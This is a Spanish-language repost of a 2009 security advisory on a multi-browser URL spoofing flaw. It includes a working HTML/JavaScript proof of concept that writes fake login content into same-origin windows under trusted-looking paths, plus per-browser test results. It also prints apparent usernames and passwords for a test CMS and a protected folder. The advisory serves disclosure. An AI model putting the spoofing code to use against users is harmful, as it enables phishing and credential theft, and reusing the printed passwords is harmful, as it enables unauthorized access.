Multiple Browsers Fake url folder & file Same origin Spoof

15 agosto 2009 Publicado por cLimbo
#########################################
Multiple Browsers Fake url folder & file Same origin Spoof
Artículo original: http://lostmon.blogspot.com/2009/08/multiple-browsers-fake-url-folder-file.html
##########################################

##############
Resumen
##############

Un usuario abre su navegador e intenta entrar en http://www.host.com/admin/admin.php y se encuentra en esta URL
el servidor remoto y si el usuario tiene privilegios, puede acceder al archivo admin.php

Si el archivo admin.php no existe en el servidor al usuario le da un erorr 404 el servidor http.

Si el usuario intenta entrar a http://www.host.com/admin/ y esta dir no está en el servidor, el usuario obtiene de nuevo un http error 404.

Si el usuario pulsa el botón recargar la página vuelve a cargar el contenido y si el usuario presiona CTRL + F5 actualiza todo el contenido de la página.

Algunas veces los errores http como 404, 403, etc son administrados por una tercera parte, una barra de herramientas, o con un contenido predefinido dinámico construido en el interior del navegador.

#######################
Explicación
#######################

Múltiples navegadores tienen un error en esta solicitud de respuesta que permiten a un atacante suplantar la url o falso el contenido de un archivo o ruta inexistente o falsa la url y el contenido de un archivo o una ruta de confianza.

También un atacante puede "trampear" la falsa url del explorador en internet y cuando el usuario pulse la tecla F5 o el botón Actualizar, muestre la página con el contenido falso o si el usuario presiona CTRL + F5 la página muestre el contenido falso, sólo en este último caso, el navegador Opera no funciona.

##################
Pruebas
##################

He estado probando con Windows XP Home SP3 con todos los parches.

Para la prueba vamos a escribir una secuencia de comandos como:

####################
CÓDIGO FUENTE DE POC
####################
Prueba de Concepto en línea => http://cmspatch.200u.com/urlspoof.html
<html>
<head></head><body>
<title>Multiple Browsers Fake url folder & file Same Origin Spoof</title>
<center>
<h1>Multiple Browsers Fake url folder & file Same origin Spoof By Lostmon</h1>
</center>
<p>
<a href='modules/profile/admin/admin.php' target='_blank'><h2>real path</h3></a>
<a href='javascript:spoofolder()'><h2>spoof a url folder !!</h2></a> Non existent path
<a href='javascript:spoofile()'><h2>spoof a url file !!</h2></a> this file exist in the server.
<a href='javascript:spoofauth()'><h2>spoof a url with auth basic !!</h2></a><br>only exist Protected and have password.
<p></p>
<strong>pass for the cms. user Dismark pass souaktendio.</strong><br>
<strong>pass for Portected folder. user terrapro pass mayoristas.</strong>
<p>

<script>
function spoofolder()
{
a = window.open('modules/login')
a.document.write('<H1>FAKE LOGIN PAGE<\h1>')
a.document.write('<title>FAKE LOGIN PAGE</title>')
a.alert(document.location)
a.stop();
}
function spoofile()
{
a = window.open('modules/system/admin.php')
a.document.write('<H1>FAKE LOGIN PAGE<\h1>')
a.document.write('<title>FAKE LOGIN PAGE</title>')
a.alert(document.location)
a.stop();
}
function spoofauth()
{
a = window.open('protected/admin/admin.php')
a.document.write('<H1>FAKE LOGIN PAGE<\h1>')
a.document.write('<title>FAKE LOGIN PAGE</title>')
a.alert(document.location)
a.stop();
}
</script>
</body></html>

######## FIN DEL CÓDIGO #####

Lo guardamos como c:/test/urlspoof.html por ejemplo.

Yo uso una alerta para mostrar la verdadera window.location.

para la prueba he abierto el archivo con file:/// que es un manejador de protocolo y remoto, para la prueba he cargado el archivo en un servidor: un apache en windows 2003 y en un Apache sobre Linux Red Hat.

servidor de windows:

Windows Server 2003
Apache/2.2.8 Win32
PHP/5.2.6
Server at ***********.com

servidor de linux:

Apache/2.2.11 (Unix) mod_ssl/2.2.11
OpenSSL/0.9.8e-fips-rhel5
mod_auth_passthrough/2.1
FrontPage/5.0.2.2635 Server
at ***********.com
en todos los casos de prueba el servidor envía la correctamente la respuesta HTTP.

########################
Navegadores afectados en local
########################

Para esta prueba el uso de archivos i manejador de protocolo y
sólo archivo de prueba y falso camino falso.

1 - Firefox 3.5.1 y 3.5.2
urlspoof es abierto a través del archivo c:/test/urlspoof.html y al hacer clic en cualquier función en falso al firefox, muestran la falsa url y el contenido. (firefox 3.5.2 no parece vulnerable)

2 - Lunascape 5.1.3 y 5.1.4 (Trident swiched a motor)
urlspoof abierto a través de archivo c:/test/urlspoof.html y hacer clic en cualquier función en falso al Lunascape muestra los casos de url falsa y el contenido falseadas.

3 - Orca 1,2 build 2 no parecen vulnerables, pero cuando busca el archivo al añadir a los navegadores wyciwyg url://4/ ejecuta el contenido falso.

4 - Flock 2.5.1
urlspoof es abierto a través del archivo c:/test/urlspoof.html y haga clic en falso en cualquier función en todos los casos muestran la url falsa y el contenido falseadas.

5 - K-Meleon 1.5.3
urlspoof es abierto a través del archivo c:/test/urlspoof.html y haga clic en falso en cualquier función en todos los casos K-Meleon muestra la url falsa y el contenido falseadas.

6 - SeaMonkey 1.1.17
urlspoof es abierto a través del archivo c:/test/urlspoof.html y haga clic en
falso en cualquier función, en todos los casos muestra la url falsa y el contenido falseadas.

7 - Avant 11,7 build 36
urlspoof es abierto a través de archivo c: /prueba/urlspoof.html y haga clic en falso en cualquier función, en todos los casos muestran la url falsa y el contenido falseadas.

Google Chrome 2.0.172.39 (Build oficial)
escribe en todos los casos en about: blank.

Internet Explorer 8 no parece vulnerable a través de file: protocol

########################
Navegadores remotos afectados
########################

Para esta prueba de seguridad, subid el archivo a un servidor y busca el archivo a través de http://host.com/urlspoof.html

1 - Internet Explorer 7 y 8
Vaya al archivo y haga clic en cualquier enlace, el navegador en todas las pruebas muestra el árbol de archivos falsa, patch falso, y "pseudo-bypass"

2 - Avant 11,7 build 35 y build 36
Vaya a archivo y haga clic en cualquier enlace, el navegador en todas las prueba muestran el árbol de archivos falsa, patch falso, y "pseudo-bypass" auth basic protection.

1 - Internet Explorer 7 y 8
Vaya a archivo y haga clic en cualquier enlace, el navegador en todas las
prueba muestran el árbol de archivos falsa, falsa vía, y "pseudo-bypass"
autoridades de protección básica.

2 - Avant 11,7 navegador construir 35 y construir 36
Vaya a archivo y haga clic en cualquier enlace, el navegador en todas las
prueba muestran el árbol de archivos falsa, falsa vía, y "pseudo-bypass"
autoridades de protección básica.

3 - Lunascape 5.1.3 y 5.1.4 (Trident swiched a motor)
Vaya al archivo y haga clic en cualquier enlace, el navegador en todas las prueba muestra el árbol de archivos falsos, patch falso, y "pseudo-bypass" auth basic protection.

4 - Navegador Maxthon 2.5.3.80 UNICODE
Vaya al archivo y haga clic en cualquier enlace, el navegador en todas las pruebas muestra el árbol de archivos falsos, patch falso, y "pseudo-bypass" auth basic protection.

Google Chrome escribe en todos los casos en el about:blank

#################
Trampa en cuestión
#################

Todas las superficies afectadas de los navegadores, cuando usted está en la url falsa al intentar actualizar la ubicación, a través de CTRL + F5, f5 o similares, el navegador no mostrará un error HTTP 404, que siguen mostrando la ubicación de la página falsa.

Es muy interesante, porque un atacante puede crear un archivo "fantasma" en una dir "fantasma", en el caso de la falsificación de archivos, se puede suplantar cualquier página web en el servidor, con la falsa página, cuando el usuario intenta volver a cargar o recargar el navegador muestra la página falsa: OJO! NO es la ubicación real de la página.

##################€nd ##################

Thnx to cLimbo for Spread the Word
Thnx to estrella to be my ligth.
Thnx to all Lostmon Groups Team.

--
atentamente:
Lostmon (lostmon@gmail.com)
-------

thz Lost ;-)